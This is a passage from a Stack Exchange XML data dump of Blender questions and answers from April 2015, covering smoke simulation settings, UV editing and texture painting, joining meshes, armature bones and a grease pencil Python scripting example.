/>
  <row Id="28440" PostTypeId="2" ParentId="28437" CreationDate="2015-04-13T18:42:44.100" Score="4" Body="&lt;p&gt;This is because you are turning the domain  into an emitter and then back into a domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each smoke type (&lt;em&gt;domain&lt;/em&gt;, &lt;em&gt;flow&lt;/em&gt;, &lt;em&gt;collision&lt;/em&gt;) plays a different role in the simulation with different settings. By clicking that button, you are changing the active object to a different type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally you'll want to select one of the smoke types for each object and leave them at that. Domain options should be set on the domain object and flow settings set on the flow object(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here's a quick setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cJYwE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to access the different settings for the domain and flow objects I select the object in question.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-04-13T18:51:29.773" LastActivityDate="2015-04-13T18:51:29.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28441" PostTypeId="1" CreationDate="2015-04-13T20:50:14.140" Score="1" ViewCount="301" Body="&lt;p&gt;I am using a fish eye camera to do some animations. Next, I want to validate a 3D reconstruction algorithm. So, I need the projection matrix of the fish eye camera. I know that it not possible to approximate fisheye by as a perspective projection. I need some tutorial and what I understand is the coordinate (u,v) of a 3D point X (x,y,z) in space is linked with the radius r which is the distance between the center of the image (circle) and the coordinates (u,v), and the angle &lt;strong&gt;&lt;em&gt;theta&lt;/em&gt;&lt;/strong&gt; defined by the incident ray define by the point X and the center optical (or the center of the sphere). Any comment? Any help?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-04-14T02:08:33.090" LastActivityDate="2015-04-14T02:08:33.090" Title="How to obtain the fisheye model from blender" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-15T14:11:43.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="28442" PostTypeId="1" AcceptedAnswerId="28875" CreationDate="2015-04-13T21:00:08.450" Score="7" ViewCount="3093" Body="&lt;p&gt;I have a script that I only need to run once. What I usually do for startup scripts is an &lt;em&gt;Always &gt; Tap Sensor&lt;/em&gt;. This python script is being activated by a message sensor with the tap setting enabled. Running this script multiple times will cause problems, so I used a variable system to prevent this from happening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to stop the script from running more than once in the first place, using logic bricks?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="12805" LastEditDate="2015-04-21T03:15:41.547" LastActivityDate="2016-02-27T14:08:14.747" Title="Run a script only once in BGE" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28443" PostTypeId="1" AcceptedAnswerId="28444" CreationDate="2015-04-13T21:22:25.397" Score="2" ViewCount="99" Body="&lt;p&gt;When I set 'viewport shading' to solid in the 3D view panel in the UV Editing context, occluded geometry is still visible in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rMCDs.png&quot; alt=&quot;UV Editing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar view in the Default context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AxKYY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way  to get the Default behaviour to occur in the UV Editing context?&lt;/p&gt;&#xA;" OwnerUserId="13760" LastActivityDate="2015-04-13T23:05:41.350" Title="Is it possible to make the 3D view in the UV Editing context 'opaque'?" Tags="&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28444" PostTypeId="2" ParentId="28443" CreationDate="2015-04-13T23:05:41.350" Score="4" Body="&lt;p&gt;Enable &lt;em&gt;limit selection to visible&lt;/em&gt; in the header of the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTifY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-13T23:05:41.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28445" PostTypeId="1" CreationDate="2015-04-14T00:34:56.500" Score="2" ViewCount="211" Body="&lt;p&gt;I´ve imported in Blender several edges loops. They have irregular shape and different numbers of vertices. (I've attached the file &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?368329-How-to-make-a-surface-from-multiples-edge-loops&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&#xA;I want to generate a surface that follows the contour of all edge loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried to convert the object in mesh, and apply Bridge Edge Loops (to create faces and use then with Subdivison Surface). But this tool confuses itself and connects edges far away from themself instead of their neighbors.&#xA;An solution would be to apply Bridge in each pair of edge loop, but this would cause too much effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way for me to contour this problem?&lt;/p&gt;&#xA;" OwnerUserId="13762" LastEditorUserId="5426" LastEditDate="2017-01-03T16:03:09.927" LastActivityDate="2017-01-03T16:03:09.927" Title="How to make a surface from multiples edge loops?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28446" PostTypeId="1" CreationDate="2015-04-14T01:59:21.027" Score="9" ViewCount="5971" Body="&lt;p&gt;I have made a character, through several different objects, using different modifiers for each of them. Is there a way that I can combine them into one object, without having the modifiers screwed with?&lt;/p&gt;&#xA;" OwnerUserId="13763" LastEditorUserId="12" LastEditDate="2015-04-14T06:50:51.277" LastActivityDate="2015-04-14T10:58:55.590" Title="Can I merge objects without messing up their modifiers?" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28447" PostTypeId="2" ParentId="28446" CreationDate="2015-04-14T02:20:21.267" Score="6" Body="&lt;p&gt;Although some modifiers can be applied to specific parts of a mesh via vertex groups, when you join them you will find that the active object's modifiers always overwrites the others. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to &lt;em&gt;apply&lt;/em&gt; the modifiers before joining the meshes, or add them afterwards using vertex grouping. Sadly you will not be able to edit the modifiers after applying, but they will not be messed up by joining.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-14T10:58:55.590" LastActivityDate="2015-04-14T10:58:55.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28448" PostTypeId="1" CreationDate="2015-04-14T02:48:58.137" Score="4" ViewCount="448" Body="&lt;p&gt;Hello I have only been using blender for a little while but I have a project I want to work on. I have created a 3D model of my real arm in blender in a rock form. I want to be able to capture my arm on video and have the 3d model move with my motion and also change from my real skin to the rock form almost like beast in x-men. I think it's simple but that I'm not doing something correct. Please help me. Thank You. &lt;/p&gt;&#xA;" OwnerUserId="13764" LastActivityDate="2015-04-14T02:48:58.137" Title="How to rig a 3D arm to the footage of my real arm in movie." Tags="&lt;animation&gt;&lt;rigging&gt;&lt;rigid-body-simulation&gt;&lt;video&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ClosedDate="2015-04-14T06:47:12.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="28449" PostTypeId="1" CreationDate="2015-04-14T04:03:37.263" Score="1" ViewCount="206" Body="&lt;p&gt;I have completed the UV mapping for my meshes. Now I'm using the Blender Texture Paint mode and it seems to be pulling all the paint towards the bottom left corner of the UV mapping image. I have selected individual components using the L key but when I apply a fill it colors other parts that run through the color as it heads towards the bottom left. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mWRtr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried remapping and again averaging the islands scale and repacking, but nothing seems to fix it.&lt;/p&gt;&#xA;" OwnerUserId="12680" LastActivityDate="2015-04-14T04:03:37.263" Title="Texturing UV mapping coloring other UV Islands" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28450" PostTypeId="1" CreationDate="2015-04-14T06:17:38.437" Score="2" ViewCount="1490" Body="&lt;p&gt;Is there a way to drag and drop multiple video files in the VSE at once?&lt;/p&gt;&#xA;" OwnerUserId="13765" LastEditorUserId="2843" LastEditDate="2016-01-18T16:12:28.607" LastActivityDate="2019-11-09T22:26:25.057" Title="Drag and drop multiple files in the VSE?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28451" PostTypeId="2" ParentId="28345" CreationDate="2015-04-14T07:15:16.173" Score="4" Body="&lt;p&gt;When an animation is created, Blender creates an object data called &quot;action&quot;, that can be appended or linked to another object (in your case the object will be the rig).&#xA;So you have to import in the new file the action from the old file.&#xA;you can reach and rename your actions through the dopesheet, changing in the header of the window from &quot;dopesheet&quot; to &quot;actions&quot;.&#xA;Of course - to work properly -  both rigs should have the same bones, same names, etc..&#xA;Check manuals about &quot;actions&quot; for more infos.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-14T07:15:16.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28452" PostTypeId="1" AcceptedAnswerId="28459" CreationDate="2015-04-14T07:21:59.163" Score="3" ViewCount="2334" Body="&lt;p&gt;Is it possible to export constraints (for example limit rotation constrains) and inverse kinematics from blender? These exports would be imported into WorldViz to interact with the object in virtual reality(No fixed animations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which file-format would I need to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optional:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to export to &lt;code&gt;cmfx&lt;/code&gt;? (This file-format is used by WorldViz)&lt;/p&gt;&#xA;" OwnerUserId="12883" LastEditorUserId="12883" LastEditDate="2015-04-14T11:43:14.847" LastActivityDate="2015-04-14T19:34:31.197" Title="Export constraints and inverse kinematics" Tags="&lt;export&gt;&lt;constraints&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28454" PostTypeId="2" ParentId="28114" CreationDate="2015-04-14T07:30:28.830" Score="3" Body="&lt;p&gt;In cases automatic wheight is not working well, manual wheighting is the best solution:&#xA;When parenting the model to his rig, choose &quot;with empty group&quot; option.&#xA;This will create one vertex group for every bone of your rig.&#xA;select the rig, go to pose mode, select the first bone to be weighted, select the model, go to edit mode, select all the vertices you need, In the &quot;vertex group&quot; tab choose the weight you want (from 0.0 to 1.0) and click assign.&#xA;Repeat for every bone.&#xA;Selecting the model and going to weight paint mode lets you check your work visually.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-14T07:30:28.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28455" PostTypeId="1" CreationDate="2015-04-14T07:43:52.890" Score="3" ViewCount="6060" Body="&lt;p&gt;I have a mesh which i have Smart UV projected , and i have many loose UV faces . I would like to know if i am able to select a face in the UV/Image editor , And make it select the face on the 3D mesh. Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot select every face on my 3D mesh to find the correct face in the UV , That is very time consuming and confusing. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1hKn4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-04-14T09:12:15.900" Title="Is it possible to select a face in the UV editor and find it in the 3D View?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-04-14T14:14:58.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="28456" PostTypeId="1" AcceptedAnswerId="28472" CreationDate="2015-04-14T08:28:14.733" Score="5" ViewCount="7127" Body="&lt;p&gt;I have the following setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FLyIE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this does not work in WorldViz. Instead I need every bone to have its own armature system. This results in an cascade of armature systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to reuse my already perfectly placed bones. Is there a way to convert a bone into its own armature system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: The bone &lt;code&gt;Bein&lt;/code&gt; would become &lt;code&gt;Armature Bein&lt;/code&gt; with a pose and a bone &lt;code&gt;Bein&lt;/code&gt; and this bone would be the original bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result I wanted to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qf6mz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12883" LastEditorUserId="241" LastEditDate="2015-04-14T09:36:25.063" LastActivityDate="2018-09-16T19:27:07.417" Title="Separate/convert bones into their own armature" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28457" PostTypeId="2" ParentId="28455" CreationDate="2015-04-14T09:12:15.900" Score="7" Body="&lt;p&gt;In the header of the UV editor window there's a button named &quot;keep UV and edit mode mesh selection in sync&quot;, an icon with an arrow pointing to a cube mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That resolve your problem.&#xA;Consider that also in the UV window you can choose if to work with vertices, edges or faces!&#xA;Notealso: if this button is selected, you can't edit the UV islands.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-14T09:12:15.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28458" PostTypeId="2" ParentId="27928" CreationDate="2015-04-14T09:45:11.350" Score="2" Body="&lt;p&gt;You must use drivers: a driver lets you control any datablock with any other parameter of the software.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-04-14T09:45:11.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28459" PostTypeId="2" ParentId="28452" CreationDate="2015-04-14T10:48:39.743" Score="3" Body="&lt;p&gt;FBX or collada can bake effects of the constraints while exporting animations, that’s all. There is no way to export constraint/IK systems themselves, afaik.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more, I’m not sure that would make sense at all, seeing how hard it is already to support basics of exchange between applications that all have different ways of handling common topics (referring to animation and armatures e.g.), I would suspect things rather complex and advanced like constraints to be a plain nightmare.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-14T10:48:39.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28463" PostTypeId="1" CreationDate="2015-04-14T12:36:08.130" Score="8" ViewCount="23200" Body="&lt;p&gt;I am trying to color parts of the UV map below with the paint function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LUIn8.png&quot; alt=&quot;UV mapping that has to be colored&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I don't know how to select the square in the UVeditor so to be able to fill it simply with the desired color instead of having to paint it by hand as you can see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xU4V9.png&quot; alt=&quot;Upper left square to be colored; long and imperfect way by hand&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is once again to have the upper left square in the UVeditor, which corresponds to a face of the cube, completely colored. &#xA;How can I tell blender to fill with a desired color a part of the UV mapped mesh? I need to have a clear distinction between the colors of the faces and with the coloring procedure by hand this is quite impossible, especially for more complicated meshes...&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorUserId="241" LastEditDate="2015-04-14T12:59:02.667" LastActivityDate="2020-05-22T16:43:39.593" Title="How to fill the selected UV island with colour when texture painting?" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;&lt;texture-painting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28464" PostTypeId="1" CreationDate="2015-04-14T12:57:11.680" Score="9" ViewCount="12115" Body="&lt;p&gt;I am trying to make a smoke simulation which includes colored smoke. I have tried changing the smoke color in the domain of the simulation, but the color in rendered view mode doesn't change from the default.&#xA;How can I change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file: &lt;a href=&quot;https://www.dropbox.com/s/1j4otu6dl6b7hnl/geyzer.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/1j4otu6dl6b7hnl/geyzer.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13565" LastEditorUserId="72" LastEditDate="2015-06-02T17:26:43.417" LastActivityDate="2021-01-16T02:11:36.813" Title="How can I change smoke colour?" Tags="&lt;smoke-simulation&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28465" PostTypeId="1" AcceptedAnswerId="28467" CreationDate="2015-04-14T13:22:48.797" Score="3" ViewCount="486" Body="&lt;p&gt;I like how gpencil lets me draw shapes and link the data to specific objects or the scene. I have a trigonometry script which generates shapes, but I can't seem to select which 'Data to be linked' from a script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GWNQU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following script is a reduced version of what i'm doing, but it shows that the layer and data creation is easy enough.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import math&#xA;import bpy&#xA;&#xA;&#xA;def get_layer(gdata_owner, layer_name):&#xA;&#xA;    grease_data = bpy.data.grease_pencil&#xA;    if gdata_owner not in grease_data:&#xA;        gp = grease_data.new(gdata_owner)&#xA;    else:&#xA;        gp = grease_data[gdata_owner]&#xA;&#xA;    # get grease pencil layer&#xA;    if not (layer_name in gp.layers):&#xA;        layer = gp.layers.new(layer_name)&#xA;        layer.frames.new(1)&#xA;        layer.line_width = 1&#xA;    else:&#xA;        layer = gp.layers[layer_name]&#xA;        layer.frames[0].clear()&#xA;&#xA;    return layer&#xA;&#xA;&#xA;def generate_gp3d_stroke(layer):&#xA;    layer.show_points = True&#xA;    layer.color = (0.2, 0.90, .2)&#xA;    s = layer.frames[0].strokes.new()&#xA;    s.draw_mode = '3DSPACE'&#xA;&#xA;    chain = []&#xA;    num_verts = 10&#xA;    r = 2.2&#xA;    gamma = 2 * math.pi / num_verts&#xA;    for i in range(num_verts+1):&#xA;        theta = gamma * i&#xA;        world_point = (math.sin(theta) * r, math.cos(theta) * r, 1.2)&#xA;        chain.append(world_point)&#xA;&#xA;    s.points.add(len(chain))&#xA;    for idx, p in enumerate(chain):&#xA;        s.points[idx].co = p&#xA;&#xA;&#xA;class TrigGenerator(bpy.types.Operator):&#xA;&#xA;    bl_idname = 'mesh.trig_generator'&#xA;    bl_label = 'generated trig with gpencil'&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        obj = bpy.context.object&#xA;        data_name = 'stack_data'&#xA;        layer_name = &quot;stack layer&quot;&#xA;        layer = get_layer(data_name, layer_name)&#xA;        generate_gp3d_stroke(layer)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(TrigGenerator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(TrigGenerator)&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's probably simple, but it eludes me.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the one line fix is the last line of execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    obj = bpy.context.object&#xA;    data_name = 'stack_data'&#xA;    layer_name = &quot;stack layer&quot;&#xA;    layer = get_layer(data_name, layer_name)&#xA;    generate_gp3d_stroke(layer)&#xA;    context.scene.grease_pencil = bpy.data.grease_pencil[data_name]&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-15T07:13:32.273" LastActivityDate="2018-11-13T11:07:40.780" Title="Scripting Grease Pencil and choosing data layer to be linked" Tags="&lt;scripting&gt;&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28466" PostTypeId="1" CreationDate="2015-04-14T13:25:19.403" Score="36" ViewCount="110851" Body="&lt;p&gt;Hi im new to Blender and i want to know when im in edit mode if i can copy or cut a selections of polygons faces and paste to another mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help&lt;/p&gt;&#xA;" OwnerUserId="13769" LastActivityDate="2020-06-16T18:35:20.353" Title="How to cut and paste part of a mesh to another mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="28467" PostTypeId="2" ParentId="28465" CreationDate="2015-04-14T13:38:27.617" Score="5" Body="&lt;p&gt;I'm not sure if this is what you are looking for but:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.grease_pencil = bpy.data.grease_pencil['GPencil']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will set the scene's active grease pencil datablock to be 'GPencil'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this by using autocomplete in the Python Console to see properties of the Scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with other datablocks in blender you can also set &lt;code&gt;scene.grease_pencil&lt;/code&gt; to be &lt;code&gt;None&lt;/code&gt; to have no active grease pencil datablock.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-14T13:55:38.403" LastActivityDate="2015-04-14T13:55:38.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28468" PostTypeId="1" AcceptedAnswerId="28484" CreationDate="2015-04-14T13:50:19.157" Score="3" ViewCount="188" Body="&lt;p&gt;I can no longer augment the SUBDIVISIONS&gt; VIEW parameter, to increase how the mesh looks on-screen, using the subsurf or multires modifiers beyond &quot;2&quot;. Raising the parameter above 2 has no the object's representation. I do remember being able to raise this parameter to obtain perfectly smooth objects. What am I missing here? Is there a setting that's off? See the images below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ye08d.jpg&quot; alt=&quot;Subsurf modifier, SUBDIVISIONS&amp;gt; VIEW = 0&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/u9kfP.jpg&quot; alt=&quot;Subsurf modifier, SUBDIVISIONS&amp;gt; VIEW = 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k7hGR.jpg&quot; alt=&quot;Subsurf modifier, SUBDIVISIONS&amp;gt; VIEW = 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jnzBa.jpg&quot; alt=&quot;Subsurf modifier, SUBDIVISIONS&amp;gt; VIEW = 6, no change from setting parameter at &amp;quot;2&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13719" LastActivityDate="2015-04-14T22:59:14.267" Title="Subdivisions View parameter using Multires or Subsurf modifiers no longer increases object resolution" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28469" PostTypeId="2" ParentId="28466" CreationDate="2015-04-14T13:51:42.517" Score="39" Body="&lt;p&gt;You can't do it using the normal copy and paste functions, but you can do it using a few separate shortcuts/tools:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To 'cut' part of a mesh to a new object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; In edit mode, select the parts of the mesh you want to cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to &lt;em&gt;copy&lt;/em&gt; part of the mesh and not &lt;em&gt;cut&lt;/em&gt; it you will need to do step '2', otherwise skip to step '3':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;  Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; to duplicate the selected faces/edges/verts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Press &lt;kbd&gt;P&lt;/kbd&gt; and choose &lt;em&gt;Selection&lt;/em&gt; from the &lt;em&gt;Separate&lt;/em&gt; menu. The selected part of the mesh will now be a separate object but you will still be in edit mode of the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Leave edit mode and select the new separate object (which will be on  top of the old object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to join this into an existing mesh you can continue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; select a different existing mesh and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; to join them together. &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-14T20:12:35.927" LastActivityDate="2015-04-14T20:12:35.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28470" PostTypeId="2" ParentId="28463" CreationDate="2015-04-14T14:08:38.140" Score="12" Body="&lt;ul&gt;&#xA;&lt;li&gt;Go to edit mode &lt;/li&gt;&#xA;&lt;li&gt;select the faces you want to paint on &lt;/li&gt;&#xA;&lt;li&gt;Turn on texture painting, in the header of this window turn on the button named &quot;face selection masking for painting&quot;, an icon with a cube with a face red/white&lt;/li&gt;&#xA;&lt;li&gt;choose the &quot;fill&quot; brush&lt;/li&gt;&#xA;&lt;li&gt;clic on a face&lt;/li&gt;&#xA;&lt;li&gt;done!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use &quot;shift&quot; key to select/deselect faces without entering edit mode&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-04-19T18:34:00.497" LastActivityDate="2015-04-19T18:34:00.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28471" PostTypeId="2" ParentId="28464" CreationDate="2015-04-14T14:29:59.417" Score="6" Body="&lt;p&gt;Select the smoke flow object and in the physics tab, click the option that says &quot;Smoke Colour&quot; a colour wheel will appear. Using the colour wheel and the lighten darken option to its right, pick your desired colour. Things I did: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;added a white plane behind the simulation; it's easier to see. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;moved the camera to a better angle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;changed the smoke colour in the &lt;em&gt;smoke flow&lt;/em&gt; object, not the domain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-04-15T20:10:37.933" LastActivityDate="2015-04-15T20:10:37.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28472" PostTypeId="2" ParentId="28456" CreationDate="2015-04-14T14:37:55.553" Score="5" Body="&lt;p&gt;The option you're looking for is &lt;Kbd&gt;CTRL&lt;/kbd&gt; + &lt;Kbd&gt;ALT&lt;/kbd&gt; +&lt;Kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its called separate bones. All you need to do is select the bones you want to put in their own armature and &lt;Kbd&gt;CTRL&lt;/kbd&gt; + &lt;Kbd&gt;ALT&lt;/kbd&gt; +&lt;Kbd&gt;P&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have another armature system, with any IK's still working. &#xA;From there if you want to have the bone it was originally attached to be the parent of it, all you would have to do is select the new armature, &lt;kbd&gt;SHIFT&lt;/KBD&gt; + select the old armature, &lt;kbd&gt;TAB&lt;/kbd&gt; into pose mode and select the bones you wanted it to be parented too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pose data should still be left intact.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-14T14:37:55.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
